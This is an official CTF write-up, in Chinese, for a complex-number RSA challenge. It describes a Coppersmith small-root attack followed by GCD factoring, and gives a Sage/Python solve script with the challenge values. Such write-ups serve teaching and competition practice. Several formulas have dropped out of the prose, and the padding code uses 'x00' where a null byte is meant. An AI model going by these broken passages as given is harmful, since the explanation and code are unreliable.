其中的一个根就是(注意此处的, 都是复数形式,此处的多项式也指的是分别的虚部实部都满足)。这就来到了熟悉的coppersmith环节。
-
对于coppersmith来说,我们需要(的虚部或实部)足够的小,注意到的虚实部都是flag经过
sha256
处理过的,可以知道每个部分都是bit,这样就足够小了,考察的是选手的细心程度。 -
经过coppersmith计算出来的虚部或实部之后,我们就可以用GCD分解n,之后正常解密即可。
import os
from Crypto.Util.number import *
class Complex:
def __init__(self, re, im):
self.re = re
self.im = im
def __mul__(self, c):
re_ = self.re * c.re - self.im * c.im
im_ = self.re * c.im + self.im * c.re
return Complex(re_, im_)
def show(self):
print([self.re, self.im])
def complex_pow(c, exp, n):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = result * c
result.re = result.re % n
result.im = result.im % n
c = c * c
c.re = c.re % n
c.im = c.im % n
exp >>= 1
return result
def pad(msg, length):
pad_length = length - len(msg) - 1
pad_data = os.urandom(pad_length)
return msg + b'x00' + pad_data
def unpad(msg):
return msg.split(b"x00")[0]
def totient(p, q):
return (p**2 - 1) * (q**2 - 1)
c1 = [90554536599623574119664951128649936419332926063696768860765928746438458550068553748440108394673303800443215316190882880737918820592384729010491685487061658710808286341751196450604089438847354206384322610922839055308138101241906861635339635907663440043442187064090630207952625897567214431195621589834131462698, 9144096375153318849308858335764188418198064372272913164911615933938183103747900881824918069830188301084043148828961577193063557255905230182831945580084452509300200269659063051152684191139872067872645370760797859584822240361290678189844670289832298393156571913616456958845361092243648857334156534377833472900]
c2 = [62925714576233017213228404230949787334346543378320798964656732359587152905032848271156799538355748406136742979043729040728123730886381468564779041856310262770766050213464073568850702827835472680885186487027698395099598698463717279017013124488699475168052581476224742146967412904416266652605031934025266540003, 62818668456104375760667670741457826560706388018921820295286033114468271151921637926389738844622672202424650967678199715932465104135980734708459543588178208672956785650944371545080965650112025782049517299538052360417245732776384089052839997333049599655001615752078742624898059780909287845495731050387891926520]
n = 94040393367054633265453751757391098049234338193258976478647369399924701067077628840760704857546243644552533845934146003988635403227234096447871132283820920489003286967145732739404245319615714787916756200564828237043658350145929927911058782352154997346295194977765305107634012698472977467843980475009837261877
c1 = Complex(c1[0], c1[1])
c2 = Complex(c2[0], c2[1])
# exp
c = complex_pow(c1, n, n)
im_x = c.im
re_x = c.re
P.<x> = PolynomialRing(Zmod(n))
f = im_x - x
im = int(f.monic().small_roots(X=2^128, beta=0.4)[0])
q = GCD(im_x - im, n)
p = n // q
assert p * q == n
phi = totient(p, q)
e = q * inverse(p, phi)
d = inverse(e, phi)
m = complex_pow(c2, d, n)
print(unpad(long_to_bytes(m.re)) + unpad(long_to_bytes(m.im)))
相关阅读
+ + + + + + + + + + +
✦ +
+
有话说
如果您有比赛想要宣传,欢迎联系我们刊登发布
如果您想练习历史大赛CTF题目,欢迎体验演武场
https://arena.ichunqiu.com/
扫描关注下方春秋GAME官方公众号
发送“演武场”三字可了解更多关于演武场的信息
发送“了解”两字即可加入春秋赛事宇宙官方微信群
春秋GAME期待与您的见面~~~
+ + + + + + + + + + +
原文始发于微信公众号(春秋伽玛):官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛